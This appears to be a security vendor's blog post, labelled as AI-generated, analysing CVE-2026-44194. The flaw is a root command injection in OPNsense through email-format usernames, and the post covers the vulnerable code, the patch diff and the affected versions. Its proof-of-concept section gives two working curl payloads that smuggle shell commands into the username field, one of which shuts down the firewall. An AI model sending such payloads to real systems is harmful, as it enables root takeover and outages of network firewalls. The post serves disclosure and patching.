Automated Threat Modeling

OPNsense CVE-2026-44194: Root RCE via Email Username Injection — Technical Breakdown with PoC and Patch Analysis

CVE-2026-44194 is a critical OS command injection in OPNsense that lets an authenticated user with user management privileges run arbitrary commands as root. This post covers the proof of concept and the patch.

CVE Analysis

7 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-05-13

OPNsense CVE-2026-44194: Root RCE via Email Username Injection — Technical Breakdown with PoC and Patch Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A one-line code change in OPNsense's user synchronization script was all that separated authenticated administrators from root-level command execution on the underlying FreeBSD system. CVE-2026-44194, patched in OPNsense 26.1.8 on May 12, 2026, shows how a benign design choice, allowing email addresses as usernames, can combine with an unsafe shell invocation to create a critical OS command injection path.

OPNsense is an open source FreeBSD-based firewall and routing platform maintained by Deciso BV, a Netherlands-based company. It is widely deployed across small to medium businesses, data centers, and government environments as an alternative to commercial firewall products. Because it sits at the network perimeter, a bug like this carries extra weight: compromising the firewall gives an attacker a foothold at the network boundary.

Technical Information

The vulnerability is in the local user synchronization flow in core/src/opnsense/scripts/auth/sync_user.php. When a user is added or modified through the OPNsense web UI or API, this script runs a shell command via mwexecf to signal the backend through pluginctl. The vulnerable code concatenates the $username variable directly into the command string using PHP's . (concatenation) operator:

mwexecf('/usr/local/sbin/pluginctl -c user_changed ' . $username);

OPNsense validates usernames at the UI and API levels, but it explicitly permits valid email addresses as account names. That is where the injection becomes possible.

RFC 5321 Quoted Local Parts as an Injection Vector

RFC 5321 defines the structure of email addresses, and the local part (the portion before the @ symbol) may contain a quoted string. Inside those quotes, characters that are normally shell metacharacters, such as backticks, semicolons, and pipes, are legal email characters. An attacker can construct a username like:

"`id>/conf/proof.txt`"@example.com

This value passes the application's email validation because it is a structurally valid email address. But when the username is concatenated into the shell command string and executed, the shell interprets the backtick-enclosed content as a subshell command. Because mwexecf ultimately runs with root privileges, the injected command executes as uid=0(root).

Attack Flow

Exploitation runs through these steps:

  1. The attacker authenticates to OPNsense with an account that holds user management privileges. This permission is commonly delegated to helpdesk staff or junior administrators, which widens the realistic attacker pool.
  2. The attacker sends a POST request to the /api/auth/user/add/ endpoint with a JSON body containing a crafted username whose quoted local part embeds shell commands.
  3. OPNsense's input validation accepts the username because it conforms to email address syntax rules.
  4. The sync_user.php script receives the username and concatenates it directly into the pluginctl shell command.
  5. The shell interprets the metacharacters within the username, executing the embedded commands as root.
  6. The attacker gets arbitrary command execution with full root privileges on the firewall.

The classification is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), which is exactly what happens here: user-controlled data flows into a shell command without neutralization of special characters.

Proof of Concept

A public Proof of Concept is available directly within the GitHub Security Advisory GHSA-f59w-m967-9rf6, published on May 12, 2026 by the OPNsense project. The vulnerability was reported by Konstantinos Spartalis (@sopex).

An authenticated user with user management privileges can use the OPNsense API to create a new user with a malicious username. The advisory gives two examples.

Example 1: Execute id and write proof to disk

curl -k -u <api key> \ -H 'Content-Type: application/json' \ -X POST http://<IP>/api/auth/user/add/ \ -d '{"user": {"name": "\"`id>/conf/proof.txt`\"@example.com", "password": "TestPass123", "scrambled_password": "0"}}'

This writes uid=0(root) gid=0(wheel) groups=0(wheel) to /conf/proof.txt, confirming root-level execution.

Example 2: Shut down the firewall

curl -k -u <api key> \ -H 'Content-Type: application/json' \ -X POST http://<IP>/api/auth/user/add/ \ -d '{"user": {"name": "\"`/sbin/shutdown${IFS}-p${IFS}now`\"@example.com", "password": "TestPass123", "scrambled_password": "0"}}'

Note the use of ${IFS} (Internal Field Separator) to stand in for spaces within the quoted local part, a common shell injection technique when spaces are restricted or awkward in the injection context.

Patch Information

OPNsense fixed CVE-2026-44194 with a one-line change in src/opnsense/scripts/auth/sync_user.php. The patch was authored by Konstantinos Spartalis (GitHub user sopex, who also reported the vulnerability) and committed by OPNsense lead maintainer Franco Fichtner on May 12, 2026. It was first merged to master as commit f35e2bf and then cherry-picked to the stable/26.1 branch as commit 9f201fe, shipping as part of OPNsense 26.1.8.

The fix replaces the unsafe string concatenation with parameterized argument passing through mwexecf()'s own format string mechanism:

@@ -84,7 +84,7 @@ * In theory there could be other handlers registered to the same event, which is the reason * we will signal it here */ - mwexecf('/usr/local/sbin/pluginctl -c user_changed ' . $username); + mwexecf('/usr/local/sbin/pluginctl -c user_changed %s', [$username]); echo json_encode(["status" => "updated"]); } else { echo json_encode(["status" => "not_found"]);

This is the parameterized command pattern applied to shell execution. When arguments are passed via the %s placeholder and provided as an array, mwexecf() internally applies escapeshellarg() to each argument before interpolating it into the command string. Any shell metacharacters (backticks, $() subshell syntax, semicolons, pipes) are escaped and treated as literal data rather than executable code. The username still reaches pluginctl as intended, but the shell can no longer interpret any embedded commands.

The OPNsense 26.1.8 release announcement on the official forum corroborates this fix, noting: "properly escape username in sync_user.php command invoke."

Affected Systems and Versions

All OPNsense core versions prior to 26.1.8 are affected. Specifically:

  • Vulnerable: OPNsense versions up to and including 26.1.7
  • Fixed: OPNsense 26.1.8

The vulnerability requires an authenticated session with user management privileges. Any OPNsense deployment where the web UI or API is reachable by users holding this permission level is at risk.

Vendor Security History

Organizations managing OPNsense deployments should note that several critical vulnerabilities landed in a short window. Across versions 26.1.7 and 26.1.8, OPNsense patched three significant vulnerabilities:

VulnerabilityAffected ComponentRequired PrivilegeFixed Version
CVE-2026-44193XMLRPC configuration restoreXMLRPC Library26.1.7
CVE-2026-44194User management synchronizationUser management26.1.8
CVE-2026-45158DHCPv4 settingsPage interfaces26.1.8

Each vulnerability required a different privilege level, and together they make for a concentrated run of critical security updates. Deciso BV turned patches around quickly and documented each one through public advisories.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization